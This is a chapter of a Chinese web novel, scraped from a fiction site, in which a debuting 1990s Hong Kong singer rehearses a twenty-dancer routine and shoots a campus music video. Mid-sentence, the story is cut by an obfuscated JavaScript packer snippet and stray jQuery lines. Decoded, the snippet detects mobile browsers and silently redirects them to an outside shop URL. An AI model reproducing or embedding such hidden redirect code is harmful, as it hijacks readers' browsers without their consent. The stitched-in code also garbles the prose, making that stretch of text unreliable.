文趣网 > 其他小说 > 星途1990(香江娱乐圈) > 17. 出道准备
    观众看到的舞台不仅有声音,还有画面,视觉带来的观感刺-激非常重要。她站在地铁站等车的时候,脑海里形成了舞台的雏形。灯光从哪个方向打,镜头从哪个角度推,伴舞站在哪个位置,她在哪里开口唱第一句。

    这些画面在她脑子里像一部还没开拍的MV,每一帧都清清楚楚。她知道这首歌的编曲做不到那么完美,但可以从这舞蹈补回来。一个好的唱跳舞台,声音和舞蹈不是一加一等于二,是两者乘起来,等于无限。

    现在她要去把想象变为现实。

    陈小泉最初听到舒玟暴发户的口气“要二十个伴舞”的时候,以为自己听错了。“二十个?你知不知道拍MV请二十个dancer咩价?请人、排舞、租排舞室、服装、妆发,加起来要花多少你计过未?”

    “太少效果出不来。”

    陈小泉扶额,真让人头疼。但又想起舒玟在会议室里跳的那段舞,又想起梁骏给他听的歌,算了,都到这一步了,干脆放手让她搞吧。

    “钱从你宣传费里扣哦。”这是陈小泉最后的倔强。

    “好。”

    扣完之后剩下的钱够不够宣传?舒玟不知道,反正到时候再说。伴舞也请了,mv也拍了,都做了99步了,难道公司还会忍心在宣传上缺胳膊少腿啊。

    舒玟得到公司的允许后马上去找周志天。天工舞蹈工作室还是老样子,四面镜子,深灰色地胶,音响放在墙角。但现在她和周志天已经成为可以平等对话的关系了。

    周志天一如既往,还是酷酷老男孩的样子,听完舒玟的来意,没有马上回答。没有问她“为什么要二十个人”,没有问她“你预算多少”,没有问她“你什么时候要”。他看了她一眼,只问了一个最关键的问题:“你编好未?”

    两个人花了一晚上,把整首歌的编舞全部排完。凌晨两点,舒玟离开的时候,周志天还处在兴奋状态中;“交给我,我帮你找dancer,三天内我替你训练出来。”

    《爱的告白》这首歌舞蹈设计太不一样,不管是“刀群舞”的概念还是愿意让伴舞成为视觉中心的一部分,他觉得自己不是在重复过去十年的工作,而是在做一件全新的事情。这种挑战,他喜欢。

    三天后,舒玟和二十个伴舞合练。

    五天后,舒玟带着舞者正式展示。

    舒玟站在二十个人中间,穿着白色短款紧身上衣和黑色工装裤。二十个伴舞统一穿黑色服装,站在她身后排成5排,形成一个楔形。所有人双手交叠自然垂放,保持低头静止状态,像一组雕塑。

    前奏的钢琴声响狠狠地踩在人的耳膜上,鼓点砸进来。那一瞬间,二十一个人同时动了,舒玟唱着“babybaby”,跟着歌松弛地抖动肩膀。而其他所有人自动在同一个节拍上分成左右两边,同时向前大跨步后向上跃起,然后扭转身体把手臂在空中画了一个完美半圆,像一台精密的机器完成了第一次转动。

    一个八拍之后,舒玟的身体大幅度动了起来,汇入伴舞中心,右手从腰侧指向前方,等重音后头部用力侧甩。身后二十个人的头同一秒内以相同的角动作配合音乐,整齐划一、充满力量感。

    走位开始了。

    第一段副歌,两列队伍重整为楔形,牢牢把舒玟定在视觉中心。她们的脚步快而碎,每一步都踩在鼓点的正中心,但上半身动作丝毫不变形,整个过程不到四秒钟,二十一个人的位置完全变了,但没有一个人撞到另一个人,没有一个人走错方向。她们的脚步落在地板上的声音叠在一起,整齐得像一个人发出来的。

    二十一个人一致向前迈进,毫不收敛的动作幅度加上舒玟吞噬一切的眼神,非常像一只刚出笼的猛虎。

    在间奏的过程中,还有安排了一段舞蹈break。

    舒玟被队伍围在最前面,伴舞们都双手撑地蹲下,形成一个低高度的背景。舒玟开始勾勾手指,侧脸漏出调皮的笑,然后扭腰旋转,来了个下蹲wave,不等撩动的头发继续飘动。二十个人在同一秒从蹲姿弹起,和她一起抖肩。

    二十一个人的动作一模一样,力度一模一样,连头发甩到肩膀上的声音都叠成了一个。那一刻,排练室里的观众忘了呼吸。

    音乐停了,二十一个人同时定住。

    舒玟站在最前面,微微喘着气,胸口起伏。她转过身,看着身后这二十个人,“我们做的太棒了!”。

    陈小泉靠在门口的柱子上,不知道什么时候直起了身。他想找一个词来形容刚才看到的东西,但他找不到词。他只知道,自己做了十几年唱片,看过无数现场,但没有看过这样震撼人心的。一个新人居然做到了!

    他转身走了,脚步很快,有种火烧屁-股的感觉。他走到门口的时候,偏过头看了舒玟一眼:“抓紧录制MV,剪好之后,我亲自拿去TB,上《劲歌》打歌,必须带上这二十个dancer。”走廊里很快只剩的笃笃笃脚步声。

    新艺宝实力不错,每次新人出道都能去tb打歌。要知道现在只有tb一家电视台有打歌节目,而且每周就只有3-4首歌的表演舞台,所以后台不够硬的小公司新人根本上不去。但现在所有的宣传渠道又以电视台影响力最广,因此很多小公司新人一出道就陷入死循环:宣传不够广-名声出不来-宣传资源继续压缩。

    但是tb的规则是,打歌要用tb自己舞蹈训练班的艺员,这样电视台内部统一调度方便。当然也有例外,比如天王天后,想开后门自己带舞者表演也可以,只是舒玟现阶段不具有谈条件的资格。所以陈小泉才要费心思去tb帮忙协商。

    柳一静被陈小泉一打岔,也从晃神中醒来。她看了舒玟的现场,才知道路文康根本没虚夸一句。她挑眉一笑,带点得意,这次她又赌对了。

    有了陈小泉的支持,接下来舒玟提的方案在公司一路亮绿灯。比如mv要实景拍摄,还要多机位。

    说实话,舒玟看现在的MV会觉的自己在看某视频app自动生成的多图视频。主流拍法都是"飞图式MV",不管你是多大的腕儿都一样。因为卡拉OK开始流行,歌曲库需要大量画面来配歌词。制作公司为了省钱省力,经常一鱼二吃:比如艺人接个广告去外景,顺手拍一堆风景素材回来,剪到几百首MV里。反正有图配音乐就行。

    而且考虑到时间成本、人力成本和经济成本,能一天拍完绝不拖到第二天。一般摄影机器只有一台,灯光能省就省。

    舒玟必然是不能把自己的出道歌mv变成黑历史的,她连故事脚本都准备好了。

    MV开拍那天,舒玟凌晨五点就到了片场。片场的化妆间不大,灯光惨白,镜子上缠着一圈灯泡,把每个人的脸照得像磨过皮一样光滑。化妆师在她脸上打底,薄薄的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634825|206447||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一层,不像舞台妆那么厚重,毕竟是学生的角色。

    她的校服衬衫挂在一旁的衣架上,不是白色的寻常样式,而是卡其色带点修身的款。衬衫的各处挂上五颜六色的徽章,还是舒玟特意去精品店淘的。下身是深蓝色仿丝绸样的百褶短裙。

    舒玟套上小腿袜穿上浅口黑皮鞋,把衬衫领口扣子解开一颗,学校妹瞬间带上小性感。

    当她和造型师做最后调整时,敲门声响起了。一个年轻靓仔来了,白色T恤、牛仔裤以及帆布鞋,头发是中长的,浓眉高鼻梁,皮肤有点麦色,加上他眼尾微微下垂,综合了他稍微硬的气质,少年气十足。

    “你好,我是舒玟”。

    “你好,我是曾义建。”他腼腆地打着招呼。他从训练班毕业后开始在大大小小的剧里跑龙套,认识的导演让他今天来当mv男主角。据说是新艺宝的新歌手,很得看中。刚好他今天没工要上,不用说话就能拿钱几好,简直是老天送利是给他买游戏带。

    “男主角是吗?快过来我给你化妆。”化妆师及时打破两人没话讲的尴尬。

    “好的,好的。”

    曾义建暗自松口气,他原先被安排做主持,但又实在讷于言,经常等别人抛梗给他,导致主持的工作都做不下去。现在让他和不认识的女仔搭讪,更加不自在。

    男生化妆相当简单。化妆师大概把曾义建脸上的瑕疵遮遮,然后梳子把刘海往后梳,露出额头。十分钟搞掂。

    第一场戏在教室里。二十个伴舞穿着校服,散坐在课桌前,有人趴着睡觉,有人在看书,有人在传纸条,而舒玟拖着下巴手里攥着东西。然后有脚步声传来,原来是男主角从教室门口走过。

    钢琴的前奏响起,舒玟和伴舞门应声而动。她攥着纸条从课桌前站起来跟到走廊,虽然歌词是挺苦恼的,但是舒玟的表情确实有点拽拽的,有股“没有人会不喜欢我”的自信。然后再到第一个齐舞点,所有人在走廊汇合,仿佛是给舒玟的这场“恋爱”加油打气。

    节奏一换,曾义建靠在运动馆的外墙上,手里拿着一本书,风吹动了他的头发。镜头从他的侧脸推到墙后舒玟,舒玟也靠在同样位置,脸上表情有点懊恼。二十个同学在篮球馆分散着,有人拿着篮球,有人蹲着喝水,有人靠在门框上,他们是这场围观者。

    鼓声的间奏,有人拉着舒玟走到篮球场中-央。等换上副歌旋律,所有人摆臂跨步,整齐有力的动作好像在说“男生算什么么,下一个更乖”,无条件的支持舒玟。

    足球场的戏是下午拍的。舒玟换了一身衣服,白色短背心、工装裤,漏出细腰。二十个伴舞都穿着宽松运动服,站在球场的草地上,阳光很烈,影子很短。曾义建穿一件白色运动t恤和深蓝色运动短裤在球场上追着球奔跑,中长发被汗水打湿贴在额头上。而舒玟站在球场另一侧,开始循环最后的副歌。二十个人在她身后扭胯甩头。

    全景镜头从直升机上往下拍,绿色的草地、白色的线条、二十一个人整齐的队形、一个带球奔跑的少年。特别有青春的肆意。

    最后一场戏校园操场。夕阳,真实的光线,没有打灯。舒玟坐在长椅上,曾义建单肩背着书包、一手插在裤袋从她面前经过。这段戏没有音乐,没有对白,只有脚步声和他走到她面前时停下来那一刻的安静。舒玟抬起头看他,漏出小猫的狡黠,画面定格,黑屏。